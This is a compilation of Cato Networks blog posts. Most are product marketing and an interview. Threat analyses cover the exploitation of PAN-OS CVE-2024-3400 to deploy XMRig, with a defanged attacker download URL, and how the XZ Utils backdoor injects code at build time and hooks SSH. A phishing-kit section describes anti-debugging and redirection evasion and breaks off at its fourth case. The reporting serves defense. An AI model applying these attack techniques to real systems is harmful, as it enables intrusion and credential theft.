The “Un”adoption of DNSSEC. Our data indicates that only 1% of DNS traffic utilizes Secure DNS. We believe this is primarily due to DNS being a critical component of both the internet and organizational operations. Organizations fear that implementation complexities might result in misconfigurations, potentially disrupting their applications and services.

CVE-2024-3400: Critical Palo Alto PAN-OS Command Injection Vulnerability Exploited by Sysrv Botnet’s XMRig Malware On Friday, April 12, 2024, Palo Alto Networks PAN-OS was found to have an OS command injection vulnerability (CVE-2024-3400). Due to its severity, CISA added it to its Known Exploited Vulnerabilities Catalog. Shortly after disclosure, a PoC was published.
We have identified several attempts to exploit this vulnerability with the intent to install XMRig malware for cryptocurrency mining. Cato’s sophisticated multi-layer detection and mitigation engines have successfully intercepted and blocked all such efforts. The recent vulnerability in PAN-OS underlines the inherent vulnerable architecture of on-premises firewalls. This situation highlights the critical need to transition from legacy appliances to a more integrated and holistic native Secure Access Service Edge (SASE) solution. Cato’s cloud-native SASE platform incorporates a comprehensive, complete security stack, seamlessly integrating various security functions. This dynamic and adaptive approach is designed to respond to evolving threats effectively, ensuring superior protection across the entire business infrastructure.
CVE-2024-3400 Palo Alto Networks GlobalProtect PAN-OS
On Friday, April 12, Palo Alto Networks published an advisory on a zero-day vulnerability CVE-2024-3400. The CVE carries a 10, the highest rating in CVSS. It is found in multiple versions of PAN-OS, the operating system that powers Palo Alto’s firewall appliances.
This vulnerability allows unauthenticated threat actors to execute arbitrary code with root privileges on the firewall.
The vulnerability is in the “SESSID” cookie value, which creates a new file for every session as root. Following this discovery, it’s possible to execute code using bash manipulations. For a detailed vulnerability analysis, visit the Attackerkb blog.
Exploitation attempt
By analyzing the exploit, we can better understand what the threat actors were trying to achieve.
Malware downloader analysis – ldr.sh
The threat actors exploited the vulnerability to download a bash script named "ldr.sh" to the firewall machine. If the exploitation were successful, the script's commands would then run with root privileges and aim to disable and remove any security services and malware present on the infected system.
The threat actor would then download and run the XMRig malware from hxxp[://]92[.]60[.]39[.]76:9991/cron
The downloader downloads the cron malware into Path and then executes it [click for full-size]
After that, the threat actor tried to spread the malware to different hosts that the victim had access to, by searching for an SSH configuration. They would then connect to the machine and download the malware.

True SASE to the rescue
Legacy security products relying on physical appliances are inherently vulnerable due to the limitations of their architecture. As cybersecurity threats evolve, these vulnerabilities can expose organizations to significant risks. A robust cloud-based Secure Access Service Edge (SASE) solution is crucial for the future of information security. A true SASE solution, updated continuously, is less susceptible to the vulnerabilities that plague traditional appliance-based products. Unlike these legacy systems, which can serve as initial access points for threat actors, a cloud-native SASE architecture is designed for resilience and is enhanced daily to combat new and emerging threats. This continuous improvement ensures a more secure and adaptive security environment.
Virtual patching vs. manual patching
Threat actors are quick to exploit vulnerabilities to disseminate malware. To address this, Palo Alto customers must apply the PAN-OS patch to every Palo Alto appliance, which is a significant drawback compared to virtual patching solutions. Products offering virtual patching, multi-layer detection, and mitigation, like SASE, offer rapid protection, representing a more agile and effective defense against emerging security threats. This advantage is crucial in environments where the speed of response impacts the ability to mitigate or prevent security breaches.
Cato Networks provides comprehensive protection for organizations, not only at the initial access point but throughout all stages of the kill chain. This includes defenses against lateral movement, malware deployments and DNS-based threats. By securing each kill chain phase, Cato ensures a robust defense mechanism that minimizes vulnerabilities and enhances overall security posture. This approach helps prevent attackers from advancing their objectives at any point, safeguarding critical assets and data against a wide spectrum of cyber threats.
We will provide further updates when we detect any new attempts to exploit.

Women in Tech: A Conversation with Cato’s Shay Rubio For International Women’s Day (March 8, 2024), the German language, software news site, entwickler.de, interviewed Cato product manager Shay Rubio about her journey in high tech. Here’s an English translation of that interview:
When did you become interested in technology and what first got you interested in tech?
I’m a curious person by nature and I was always intrigued by understanding how things work. I think my interest in technology was sparked during my military service in an intelligence unit, which revolved around understanding cyber threats and cyber security.
How did your career path lead you to your current position?
I am a product manager for Cato Networks, working on cybersecurity products like our Cato XDR, which we just announced in January. My interest in the cybersecurity space led me to search for a position in a top company in this field, but I still wanted a place that moves at the pace of a startup. Cato was the perfect blend of both.
Do you have persons, that supported you or did you have to overcome obstacles? Do you have a role model?
I was attending professional meetups searching for a mentor for some guidance in my career path. I approached a senior product manager and we clicked, and he’s been my mentor ever since, helping to guide me through obstacles. At Cato, we have some women in top tech positions and I take inspiration from them – they show me what’s possible and serve as role models for me and many other women in the industry.
What is your current job? (Company, position etc.) How does your typical workday look like?
Like I said, I am a product manager at Cato Networks, working on cybersecurity products like Cato XDR. As a PM, every day looks a bit different – and that’s what I love about it. In a typical day, I could be defining new features, collaborating with the engineering and research teams, taking customer calls showing them our new features, and collecting their feedback.
Did you Start a Project of your own or develop something?
I haven't yet started something of my own – yet. I have been very involved in Cato’s XDR. It almost feels like starting a project of my own.
Is there something you are proud of in your professional career?
I'm proud of driving collaboration within our team, encouraging everyone to speak their mind, and moving at the right pace. I think promoting diversity and inclusion within our team is key – each of us brings a unique perspective that eventually creates a better product. I have one example that comes to mind. During a brainstorming session, a team member shared her experience as a former customer support representative. Her insight into common user pain points helped us prioritize the right feature that directly addressed customer needs, resulting in higher user satisfaction and retention.

Is there a tech or IT topic you would like to know more about?
The cybersecurity landscape is changing so quickly – so you have to keep learning. I’m always happy to delve deeper into new threat actors techniques, threats and mitigation strategies.
How do you relax after a hard day at work?
I love to spend some quality time with my partner, relaxing with a good TV show, or going out for drinks in one of the great cocktail bars we have in Tel Aviv. When I need to clear my head, I love weight training while blasting hip-hop music, and I also try to maintain my long-time hobby of singing.
Why aren't there more women in tech? What's your take on that?
I think it’s important to have women role models in senior positions in tech companies. We are what we see – and if someone like me has managed to make it, it will feel way more achievable for someonelse to get there, too. In addition, in my opinion, we must have full equality in family life and managing the household tasks to get more women to pursue positions in tech.
If you could do another job for one week, what would it be?
I’ve always loved singing and music – and I try to incorporate it as a hobby in my day-to-day life, but we all know how it is – there’s never enough time for everything. I’d love to take a week and play around with music more, including learning the production side of music and creating my own tracks.
Which kind of stereotypes or clichés about women in tech did you hear of? Which kind of problems arise from these perceptions?
Stereotypes about women's technical abilities or leadership skills persist, even after countless talented, hard-working women have disproven them. These stereotypes hinder our progress – and I mean not only women’s progress, but our society‘s progress as a whole, since we’re missing out on amazing talent due to old, limiting beliefs. It's crucial to challenge these perceptions and advocate for change, for the benefit of us all.
Did the conditions for women in the IT and tech industry change since you first started working there?
While the conditions for women in tech have improved, more work is needed to ensure equal opportunities and representation. More women leaders will help young women feel like they belong in this industry and that options are open for them so they can aim high and achieve their professional aspirations.
Do you have any tips for women who want to start in the tech industry? What should girls and women know about working in the tech industry?
My advice for women entering the tech industry is to cultivate a growth mindset, embracing challenges (and failures!) as opportunities for learning and growth. Hard work and perseverance are key in overcoming obstacles and achieving success, especially in demanding environments like tech companies and startups.

The Cato Socket Gets LTE: The Answer for Instant Sites and Instant Backup Every year, Bonnaroo, the popular music and arts festival, takes over a 700-acre farm in the southern U.S. for four days. While the festival is known for its diverse lineup of music, it also offers a unique and immersive festival experience filled with art, comedy, cinema, and more.
For the networking nerds among us, though, the festival might be even more attractive as a stress test of sorts. The festival is held in a temporary, rural location. There is no fixed internet connection to support the numerous vendors. And there’s no city WiFi to plug into. Still, that cute little booth selling the event’s hottest T-shirts needs to process customer transactions, manage inventory through the home office, and access cloud-based sales tools—all while ensuring data security and complying with industry regulations.
In short, the perfect problem for our newest Cato Socket – the X1600-LTE Socket. The Cato Socket has always worked with external LTE modems, but by integrating LTE into the Socket, there’s one less device to deploy and one less console to master. The LTE connection is fully managed within Cato, providing usage monitoring of the data plan and real time monitoring of the LTE link quality all within the same Cato Management Application as the rest of your infrastructure.
The new Cato X1600-LTE Socket includes two antennas and can operate at up to 150 Mbps upstream and 600 Mbps downstream.
LTE As the Secondary Access Link
Pop-up music and cultural festivals are hardly the only industries that will benefit from relying on the Cato X1600-LTE Socket. LTE is in high demand as a secondary link, particularly for geographically dispersed enterprises and enterprises relying on real-time data and communications.
Retail chains, for example, often have locations in areas of weak infrastructure but still require uninterrupted connectivity for critical operations like point-of-sale systems, inventory management, and secure communication. Logistics and transportation companies back in the headquarters need secondary access to ensure real-time communications with their trucks and fleet.
Cato SASE Cloud is particularly effective in carrying real-time communications. Our packet loss mitigation techniques, QoS, the zero or near zero packet loss on our backbone all make for a superior real-time experience. So, it’s no surprise that enterprises relying on real-time data and communication would be interested in the Cato X1600-LTE Socket.

Healthcare providers are looking at it for essential real-time data access for patient care, remote consultations, and medical device communication. Financial institutions require consistent connectivity to conduct secure transactions, data transfers, and communication. Cato X1600-LTE Socket provides a backup connection for a safety net during primary network downtime, minimizing financial losses and reputational damage.
LTE As the Primary Access Link
Like booths at Lollapalooza, many enterprises can use LTE as a primary connection to Cato SASE Cloud where there’s no DIA infrastructure available. Rural businesses and communities in regions with limited or unreliable fixed internet options will find LTE helpful in providing a readily available and potentially faster connection for essential services like education, healthcare, and communication.
Construction sites and temporary locations also will benefit where setting up fixed internet infrastructure can be expensive and impractical. Emergency response teams also need LTE during natural disasters or emergencies where primary communication infrastructure might be compromised. First responders can use LTE to coordinate search and rescue operations and citizen communication.
The same goes for mobility situations. Field service companies where technicians require constant internet access for diagnostics, repairs, and remote support can benefit from Cato X1600-LTE Socket. Transportation and logistics companies with delivery drivers, fleet managers, and transportation hubs can leverage Cato X1600-LTE Socket for secure real-time tracking, delivery route optimization, and communication, ensuring efficient operations on the move.
LTE Connectivity Serves Cato’s Mission to Connect Remote and Mobile Users
The new LTE-enabled connectivity option fits perfectly into the overall Cato Networks strategy of simplifying and enhancing customers’ network security and performance—especially for geographically dispersed organizations or those requiring consistent connectivity on the go. Regardless of where or how customers connect to the Cato SASE Cloud, they get access to a converged cloud platform that merges critical network and security functions into a single, streamlined solution.
A "single pane of glass" management approach provides organizations with a comprehensive view of their entire IT infrastructure, eliminating the need to manage disparate tools and vendors. Cato further simplifies operations by consolidating network security, threat prevention, data protection, and AI-powered incident detection into one platform, reducing complexity and cost and saving valuable time and resources.
Cato provides detailed LTE-relevant statistics such as Reference Signal Received Power (RSRP), Reference Signal Received Quality (RSRQ), and Reference Signal Strength Indication (RSSI) in the new LTE analytics tab of the Cato Management Application.
The LTE Socket is Now Available
The Cato X1600-LTE Socket is a mid-range SD-WAN device that enables optimized and secure enterprise WAN, Internet, and cloud connectivity. The Socket has fiber, copper, and LTE connectivity options. It has dual Micro SIM Standby (DSS), allowing for active standby in the event of failure of the cable connection. It supports up to 150 Mbps for upload, and up to 600 Mbps for download.

How Cato Uses Large Language Models to Improve Data Loss Prevention Cato Networks has recently released a new data loss prevention (DLP) capability, enabling customers to detect and block documents being transferred over the network, based on sensitive categories, such as tax forms, financial transactions, patent filings, medical records, job applications, and more. Many modern DLP solutions rely heavily on pattern-based matching to detect sensitive information. However, they don’t enable full control over sensitive data loss. Take for example a legal document such as an NDA, it may contain certain patterns that a legacy DLP engine could detect, but what likely concerns the company’s DLP policy is the actual contents of the document and possible sensitive information contained in it.
Unfortunately, pattern-based methods fall short when trying to detect the document category. Many sensitive documents don’t have specific keywords or patterns that distinguish them from others, and therefore, require full-text analysis. In this case, the best approach is to apply data-driven methods and tools from the domain of natural language processing (NLP), specifically, large language models (LLM).
LLMs for Document Similarity
LLMs are artificial neural networks, that were trained on massive amounts of text, commonly crawled from the web, to model natural language. In recent years, we’ve seen far-reaching advancements in their application to our modern-day lives and business use cases. These applications include language translation, chatbots (e.g. ChatGPT), text summarization, and more.
In the context of document classification, we can use a specialized LLM to analyze large amounts of text and create a compact numeric representation that captures semantic relationships and contextual information, formally known as text embeddings. An example of a LLM suited for text embeddings is Sentence-Bert. Sentence-BERT uses the well-known transformer-encoder architecture of BERT, and fine-tunes it to detect sentence similarity using a technique called contrastive learning.
In contrastive learning, the objective of the model is to learn an embedding for the text such that similar sentences are close together in the embedding space, while dissimilar sentences are far apart. This task can be achieved during the learning phase using triplet loss.In simpler terms, it involves sets of three samples:
An "anchor" (A) - a reference item
A "positive" (P) - a similar item to the anchor
A "negative" (N) - a dissimilar item.
The goal is to train a model to minimize the distance between the anchor and positive samples while maximizing the distance between the anchor and negative samples.
Contrastive Learning with triplet loss for sentence similarity.
To illustrate the usage of Sentence-BERT for creating text embeddings, let’s take an example with 3 IRS tax forms. An empty W-9 form, a filled W-9 form, and an empty 1040 form. Feeding the LLM with the extracted and tokenized text of the documents produces 3 vectors with n numeric values. n being the embedding size, depending on the LLM architecture. While each document contains unique and distinguishable text, their embeddings remain similar. More formally, the cosine similarity measured between each pair of embeddings is close to the maximum value.
Creating text embeddings from tax documents using Sentence-BERT.
Now that we have a numeric representation of each document and a similarity metric to compare them, we can proceed to classify them. To do that, we will first require a set of several labeled documents per category, that we refer to as the “support set”. Then, for each new document sample, the class with the highest similarity from the support set will be inferred as the class label by our model.
There are several methods to measure the class with the highest similarity from a support set. In our case, we will apply a variation of the k-nearest neighbors algorithm that implements the classification based on the neighbors within a fixed radius.
In the illustration below, we see a new sample document, in the vector space given by the LLM’s text embedding. There are a total of 4 documents from the support set that are located in its neighborhood, defined by a radius R.
Formally, a text embedding y from the support set will be located in the neighborhood of a new sample document’s text embedding x , if
R ≥ 1 - similarity(x, y)
similarity being the cosine similarity function. Once all the neighbors are found, we can classify the new document based on the majority class.

Creating Advanced DLP Policies
Sensitive data is more than just personal information. ML solutions, specifically NLP and LLMs, can go beyond pattern-based matching, by analyzing large amounts of text to extract context and meaning. To create advanced data protection systems that are adaptable to the challenges of keeping all kinds of information safe, it’s crucial to incorporate this technology as well.
Cato’s newly released DLP enhancements which leverage our ML model include detection capabilities for a dozen different sensitive file categories, including financial, legal, HR, immigration, and medical documents. The new datatypes can be used alongside the previous custom regex and keyword-based datatypes, to create advanced and powerful DLP policies, as in the example below.
A DLP rule to prevent internal job applicant resumes with contact details from being uploaded to 3rd party AI assistants.
While we've explored LLMs for text analysis, the realm of document understanding remains a dynamic area of ongoing research. Recent advancements have seen the integration of large vision models (LVM), which not only aid in analyzing text but also help understand the spatial layout of documents, offering promising avenues for enhancing DLP engines even further.

A severe backdoor has been discovered in XZ Utils versions 5.6.0 and 5.6.1, potentially allowing threat actors to remotely access systems using these versions within... Read ›
XZ Backdoor / RCE (CVE-2024-3094) is the Biggest Supply Chain Attack Since Log4j A severe backdoor has been discovered in XZ Utils versions 5.6.0 and 5.6.1, potentially allowing threat actors to remotely access systems using these versions within SSH implementations.
Many major Linux distributions were inadvertently distributing compromised versions. Consult your distribution's security advisory for specific impact information. While the attacker's identity and motivation remain unknown, the sophisticated and well-hidden nature of the code raises concerns about a state-sponsored attacker.
Cato does not use a vulnerable version of “XZ / liblzma” and Cato's code and infrastructure are not vulnerable to this backdoor / RCE.
Cato recommends that enterprises patch immediately. They should update XZ Utils from their Linux distribution's repositories as soon as possible. In addition, they should review all SSH configurations for potentially impacted systems, implement strict security measures (e.g., strong authentication and access controls) and actively monitor network traffic and system logs for anomalies, especially related to SSH activity on vulnerable systems. This situation is still developing. Monitor sources like your distribution's security advisories and trusted security news outlets for updates and enhanced detection methods.
What is XZ?
XZ Utils is a collection of free software tools used for highly efficient lossless data compression. It works with the .xz file format, known for its superior compression ratios compared to older formats like .gz or .bz2. The primary tools within XZ Utils (xz, unxz, xzcat, etc.) are used through your system's terminal or command prompt.
xz: Main command-line tool for compression and decompression.
liblzma: A library with programming interfaces (APIs) for use in development.
Many major Linux distributions (Debian, Ubuntu, Fedora, etc.) employ XZ to compress software packages within their repositories. This significantly reduces storage costs and speeds up users' downloads.The main Linux kernel source is distributed as an XZ-compressed tar archive. Mac OS also comes preinstalled with XZ.
It’s important to note that XZ is open source.
How was the Backdoor Discovered?
Andres Freund, a PostgreSQL developer and software engineer at Microsoft, discovered the backdoor on March 29, 2024. He observed some unusual behavior on Debian testing systems. Logins via SSH were consuming abnormally high CPU resources, hence, slower SSH performance, and he also encountered valgrind errors (a memory debugging tool) related to liblzma (a core component of XZ Utils).
He posted his discovery on “Openwall”. Openwall is a project aimed at enhancing computer security by providing a collection of open-source software, resources and information to improve system and network security.
This is a screen from the discussion that Andres Freund started in Openwall.
Delving into the source code, he discovered a very odd and out-of-place M4 macro. This macro appeared to be intentionally designed to introduce malicious code during the build process. The backdoor logic was heavily obfuscated to avoid easy detection.
What is Known About the Backdoor So Far?
The backdoor was committed on February 23, 2024 by “JiaT75”.
Even if you have the “XZ” (liblzma) vulnerable version, it does not mean that you are affected.
In the build code itself, multiple conditions trigger the payload.
Here are a few examples:
This condition checks that the target build is for x86_64 and Linux systems. Otherwise, it terminates.
This condition checks that the build process should be done with “gcc”. Otherwise, it terminates.
From what we know so far here, are the steps in the malicious build process:
Checking various configuration settings and environment variables to ensure the build environment meets certain criteria (e.g., using GCC compiler, GNU linker, x86-64 architecture, etc.).
If the build environment is suitable, the script modifies the Makefiles and build configuration to enable the injection of the malicious code.
The script checks for specific source files related to CRC (cyclic redundancy check) algorithms used in XZ.
The script then attempts to inject a modified version of the CRC code into the XZ utility. It does this by:Extracting and decrypting a payload file (good-large_compressed.lzma) using a decryption algorithm.Saving the decrypted payload as liblzma_la-crc64-fast.o.
Replacing the original CRC code with the modified version, including the decrypted payload.
The script compiles the modified CRC code using the GCC compiler with specific flags and options.
If the compilation is successful, the script replaces the original CRC object files (.libs/liblzma_la-crc64_fast.o and .libs/liblzma_la-crc32_fast.o) with the modified versions.
The script links the modified object files into the XZ library (liblzma.so).
After the build and successful installation, the backdoor intercepts execution by substituting ifunc resolvers for crc32_resolve() and crc64_resolve() , changing the code to call _get_cpuid()
“ifunc” is a glibc mechanism that allows you to implement a function in different ways and choose between implementations while the program is running.
Afterwards, the backdoor monitors the dynamic connection of libraries to the process through an immediately installed audit hook, waiting for the connection of the RSA_public_decrypt@got.plt library.
Having seen the RSA_public_decrypt@got.plt connection, the backdoor replaces the library address with the address of the controlled code.
Now, when connecting via SSH, in the context before key authentication, the process will execute code controlled by the attacker.
As you can see, it’s a sophisticated and stealthy attack that can only be carried out by a nation-state-sponsored adversary.
The “xz” Github and the official site were taken down.

Who is Behind the XZ Backdoor?
The backdoor commit was made by an individual using the name "Jia Tan" and the username "JiaT75". This GitHub account was created in 2021 and has been active since then. They “contributed” to a few projects, including “OSS-Fuzz” by Google. But they were mainly active in the “xz” project.
How was “JiaT75”’s commit to “xz” approved? You can read the full chain of events on Evan Boehs’s blog. In short, the path to implementing the backdoor began approximately two years ago. The project’s main developer, Lasse Collin,was accused of slow progress. User Jigar Kumar insisted that xz needed a new maintainer for development. They demanded that patches be merged by Jia Tan, who contributed to the project voluntarily.
In 2022, Lasse Collin admitted to a stranger that he was in a difficult position: mental health issues, lack of resources and physical limitations were hindering his progress and the project's pace. However, with Jia Tan's contributions, he said he might be able to take on a more significant role in the project.
In 2023, Jia Tan replaced Lasse Collin as the main contact for oss-fuzz, a fuzzer for open-source projects from Google. In 2024, he commits the infrastructure that will be used in the exploit. The commit is attributed to Hans Jansen, a user who seems to have been created solely for this purpose. Jia Tan submits a pull request to oss-fuzz urging the disabling of some checks, citing the need for ifunc support in xz.
In 2024, Jia Tan changed the project link in oss-fuzz from tukaani.org/xz to xz.tukaani.org/xz-utils and completed the backdoor's finishing touches.
Jia Tan, whoever he may be, started building this attack in 2021, gaining the trust of the primary maintainer of the XZ project. The amount of time and dedication from Jia Tan can only be attributed to a persistent adversary.
What Does This Mean for Other Open-source Projects?
Creating a validation process for entities that commit the code is important, especially for repositories that can affect other software.
As demonstrated by @hasherezade, it is very easy to spoof the account that commits to Github.
Conduct a proper code review until you understand what is being committed.
In the “XZ” backdoor commit, that backdoor is in the “XZ” file. You could spot the malicious code only if you had run and analyzed it.
Maintaining open-source projects requires a lot of time and dedication. You need to vet the person you want to hand the project over to.
What Can Cato’s Customers Do?
Check Which Version of “XZ” is Installed On Your Systems
Check the version of “XZ” on your system. Versions 5.6.0 or 5.6.1 are affected.
Run the following command in your terminal:
xz –version
apt info xz-utils
You can also check https://repology.org/project/xz/versions for affected systems.
Downgrade to an older version if possible.
XZ malicious package detection
We've verified that there have been no indications of downloading the known malicious files based on hashes or file names for the past six weeks —this is at least for customers who have TLSi enabled. (Note, however, that it is possible that malicious files could reach users in other forms of distribution, i.e., part of a package.)
The BitDefender Anti-Malware engine classifies the XZ package files as malicious files and blocks them if Anti-Malware is enabled.
SSH Traffic
Until the verification and downgrade process are completed, apply strict access policies on Inbound SSH traffic - limiting access to trusted sources and only in case of actual necessity.
Cato’s Multi-layer Detection and Mitigation Approach
Cyber-attacks are usually not an isolated event. They have multiple steps. Cato has multiple detections and mitigations across the entire kill chain, including initial access, lateral movement, data exfiltration, and more.
Cato’s Infrastructure
After checking Cato’s infrastructure, we can confirm that Cato is not using the vulnerable version of XZ / liblzma.
Final Thoughts
We still do not know the full extent of this backdoor's impact. There is always fallout in such cases as the security community delves deep and uncovers more information about possible attacks.
The initial commit was on February 23, 2024 and it was discovered on March 29, 2024. This is a significant window for malicious activity to occur.
In security incidents, multiple layers of detection and mitigation capabilities are crucial to halt the attack through various means.
We are continuing to research and monitor for further developments.

Outsmarting Cyber Threats: Etay Maor Unveils the Hacker’s Playbook in the Cloud Era This blog post is based on research by Avishay Zawoznik, Security Research Manager at Cato Networks.
The Cloud Conundrum: Navigating New Cyber Threats in a Digital World
In an era where cyber threats evolve as rapidly as the technology they target, understanding the mindset of those behind the attacks is crucial. This was the central theme of a speech given by Etay Maor, Senior Director of Security Strategy, of Cato Networks at the MSP EXPO 2024 Conference & Exposition in Fort Lauderdale, Florida. Titled, “SASE vs. On-Prem A Hacker’s Perspective,” Maor’s session provided invaluable insights into the sophisticated tactics of modern cybercriminals.
Maor’s presentation painted a vivid picture of the ongoing battle in cyber work. He emphasized that as businesses transition to cloud-based solutions, hackers are not far behind, exploiting these very platforms to orchestrate their malicious activities. Trusted cloud services and applications, once seen as safe havens, are now being used to extract sensitive data, distribute malware, and launch phishing campaigns.
The session highlighted a concerning trend: many organizations are still anchored in an on-premises mindset. This approach, unfortunately, is increasingly inadequate in countering modern cyber threats. Maor’s argument was supported by a series of case studies detailing real-life attacks, showcasing how these threats are not just theoretical but present and active dangers.

Embracing SASE: A New Frontier in Cybersecurity
One of the most interesting parts of the session was the live demonstrations. These demonstrations brought to light the ease with which hackers can penetrate systems that rely on outdated security models. Maor also shared insights from underground forums, offering a rare glimpse into the ways hackers plan and execute their attacks. This peek into the hacker’s world underscored the need for a more dynamic and forward-thinking approach to cybersecurity.
In contrast to the traditional on-premises solutions, Maor extolled the virtues of SASE architecture. He delineated how SASE’s convergence of network and security services into a single, cloud-native solution offers a more robust defense against the complexities of today’s cyber landscape. SASE’s adaptability, scalability, and integrated security posture make it a formidable opponent against the tactics employed by modern hackers.
The key takeaway from Maor’s speech was clear: the transition to cloud-based infrastructures demands a paradigm shift in our approach to cybersecurity. Traditional methods are no longer sufficient in this new digital battlefield. Businesses must embrace innovative solutions like SASE to stay ahead of cybercriminals.

Winning the 10G Race with Cato The Need for Speed
The rapidly evolving technology and digital transformation landscape has ushered in increased requirements for high-speed connectivity to accommodate high-bandwidth application and service demands. Numerous use cases, such as streaming media, internet gaming, complex data analytics, and real-time collaboration, require we go beyond today’s connectivity trends to define new ones. Our ever-changing business landscape dictates that every transaction, every bit, and every byte will matter more tomorrow than it does today, so these use cases require a flexible and scalable network infrastructure to keep pace with innovation.
10G Enabling Industries
Bandwidth-hungry use cases continue to evolve, and the demand to accommodate them will continue to grow. To accommodate these use cases, today’s organizations must aggregate multiple 1G links, which introduces its own set of issues, including configuration, reliability, scalability, and maintenance. However, achieving these high-performance business requirements is now possible with 10 gigabits per second (10G) bandwidth, which is poised to become a key enabler of digital business. 10G has rapidly evolved into a necessity for modern digital companies, institutions, and governments, and all stand to benefit from this increased capacity. So, whether it is telemedicine, enterprise networking, or cloud computing, the requirement for 10G bandwidth will be driven by the requirement for predictable and reliable user experiences. This will revolutionize modern-day use cases across numerous industries and bring about new business opportunities for customers and service providers alike.
Another motivator for the move to 10G is the insatiable demand for scalable global connectivity.

When SASE-based XDR Expands into Network Operations: Revolutionizing Network Monitoring Cato XDR breaks the mold: Now, one platform tackles both security threats and network issues for true SASE convergence.
SASE, or Secure Access Service Edge, represents the core evolution of today’s enterprise networks converging network and security functions into a single, unified, cloud-native architecture. Today's global work-from-anywhere model amplifies this need for IT to have centralized management of both network connectivity and comprehensive security. While simply said, comprehensive security entails the complexity of an amalgam of many different security tools. Complementing the SASE revolution is XDR (Extended Detection and Response), a powerful tool that analyzes data from various security solutions to provide a unified view of potential threats across the enterprise. SASE and XDR are powerful tools on their own, but even greater security benefits can be achieved by enabling them to work together more seamlessly. How do we make this happen?
Unlocking Security Potential: SASE + XDR
Tighter alignment between SASE and XDR unlocks the full potential of both, for a more robust security posture. While XDR tools excel in analyzing data from various security solutions, they could do much more with the right quality of data. This is where Cato recently announced our SASE-based XDR, which includes the industry’s broadest range of native security sensors. Traditionally, the XDR tool needs to “normalize” the diverse set of security data it ingests before it can be analyzed, and threat levels can be established. This “normalization” dilutes the quality of the data and adds a layer of complexity. When data is diluted or of low quality, it becomes more challenging to distinguish legitimate threats from false positives. By eliminating the necessity normalize data from disparate security solutions, and instead utilizing a broad range of pure, native data before determining threat levels, Cato’s XDR delivers a higher level of security with faster response times, all within the single management application of the Cato SASE Cloud Platform.
What SASE Needs From XDR
Cato XDR represents a significant advancement in security incidents detection and response, emphasizing quality and efficiency. However, SASE is a combination of network and security. The intent of SASE is to empower the cohesiveness of network and security in order for enterprises to truly move at the speed of business. This means that a logical expectation for the XDR capabilities of a SASE platform is to also help IT detect issues on the network unrelated to security. Integrating robust network health monitoring capabilities into the central SASE architecture is vital. And guess what? This is precisely the direction we're headed!

Evasive Phishing Kits Exposed: Cato Networks’ In-Depth Analysis and Real-Time Defense Phishing remains an ever persistent and grave threat to organizations, serving as the primary conduit for infiltrating network infrastructures and pilfering valuable credentials. According to an FBI report phishing is ranked number 1 in the top five Internet crime types.
Recently, the Cato Networks Threat Research team analyzed and mitigated through our IPS engine multiple advanced Phishing Kits, some of which include clever evasion techniques to avoid detection.In this analysis, Cato Networks Research Team exposes the tactics, techniques, and procedures (TTPs) of the latest Phishing Kits.
Here are four recent instances where Cato successfully thwarted phishing attempts in real-time:
Case 1: Mimicking Microsoft Support
When a potential victim clicks on an email link, they are led to a web page presenting an 'Error 403' message, accompanied by a link purportedly connecting them to Microsoft Support for issue resolution, as shown in Figure 2 below:
Figure 2 - Phishing Landing Page
Upon clicking "Microsoft Support," the victim is redirected to a deceptive page mirroring the Microsoft support center, seen in Figure 3 below:
Figure 3 – Fake Microsoft Support Center Website
Subsequently, when the victim selects the "Microsoft 365” Icon or clicks the “Signin" button, a pop-up page emerges, offering the victim a choice between "Home Support" and "Business Support”, shown in Figure 4 below:
Figure 4 – Fake Support Links
Opting for "Business Support" redirects them to an exact replica of a classic O365 login page, which is malicious of course, illustrated in Figure 5 below:
Figure 5 – O365 Phishing Landing Page
Case 2: Rerouting and Anti-Debugging Measures
In this scenario, a victim clicks on an email link, only to find themselves directed to an FUD phishing landing page, as illustrated in Figure 6 below. Upon scrutinizing the domain on Virus Total, it's noteworthy that none of the vendors have flagged this domain as phishing. The victim is seamlessly rerouted through a Cloudflare captcha, a strategic measure aimed at thwarting Anti-Phishing crawlers, like urlscan.io.
Figure 6 – FUD Phishing Landing Page
In this example we’ll dive into the anti-debugging capabilities of this phishing kit. Oftentimes, security researchers will use the browser’s built-in “Developer Tools” on suspicious websites, allowing them to dig into the source code and analyze it.The phishing kit has cleverly integrated a function featuring a 'debugger' statement, typically employed for debugging purposes. Whenever a JavaScript engine encounters this statement, it abruptly halts the execution of the code, establishing a breakpoint. Attempting to resume script execution triggers the invocation of another such function, aimed at thwarting the researcher's debugging efforts, as illustrated in Figure 7 below.
Figure 7 – Anti-Debugging Mechanism
Figure 8 – O365 Phishing Landing PageAlternatively, phishing webpages employ yet another layer of anti-debugging mechanisms. Once debugging mode is detected, a pop-up promptly emerges within the browser. This pop-up redirects any potential security researcher to a trusted and legitimate domain, such as microsoft.com. This is yet another means to ensure that the researcher is unable to access the phishing domain, as illustrated below:
Case 3: Deceptive Chain of Redirection
In this intriguing scenario, the victim was led to a deceptive Baidu link, leading him to access a phishing webpage. However, the intricacies of this attack go deeper.Upon accessing the Baidu link, the victim is redirected to a third-party resource that is intended for anti-debugging purposes. Subsequently, the victim is redirected to the O365 phishing landing page.
This redirection chain serves a dual purpose. It tricks the victim into believing they are interacting with a legitimate domain, adding a layer of obfuscation to the malicious activities at play. To further complicate matters, the attackers employ a script that actively checks for signs of security researchers attempting to scrutinize the webpage and then redirect the victim to the phishing landing page in a different domain, as demonstrated in Figure 9 below from urlscan.io:
Figure 9 – Redirection Chain
The third-party domain plays a pivotal role in this scheme, housing JavaScript code that is obfuscated using Base64 encoding, as revealed in Figure 10:
Figure 10 – Obfuscated JavaScript
Upon decoding the Base64 script, its true intent becomes apparent. The script is designed to detect debugging mode and actively prevent any attempts to inspect the resource, as demonstrated in Figure 11 below:
Figure 11 – De-obfuscated Anti-Debugging Script

Case 4: Drop the Bot!
